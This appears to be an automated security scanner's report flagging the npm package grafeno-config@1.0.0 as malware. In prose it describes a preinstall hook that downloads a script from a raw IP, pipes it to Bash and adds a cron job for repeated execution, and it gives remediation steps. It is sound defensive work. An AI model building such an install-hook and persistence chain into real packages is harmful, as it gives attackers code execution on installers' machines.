AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe manifest contains a concrete automatic install-time remote payload execution and cron persistence chain. The minimal runtime module does not justify this behavior.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm preinstall during package installation
Impact
Allows remote code execution and repeated execution on the installing machine.
Mechanism
remote shell execution with cron persistence
Attack narrative
During npm installation, the preinstall hook invokes curl against a raw IP address and pipes the response into Bash. It then modifies the current user's crontab to repeat that download-and-execute command every 30 minutes, while swallowing errors. This establishes unattended remote code execution and persistence.
AI rationale
The manifest contains a concrete automatic install-time remote payload execution and cron persistence chain. The minimal runtime module does not justify this behavior.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The preinstall hook downloads a shell script from a raw IP address and pipes it directly to Bash.
- The same hook installs a cron entry that re-downloads and executes the remote script every 30 minutes.
- Both actions run automatically during npm installation and suppress errors.
Evidence against
- index.js only exposes a simple environment-variable getter.
- No benign functionality explains the install-time remote execution or cron persistence.

Affected versions and remediation
This report applies to grafeno-config@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing grafeno-config@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
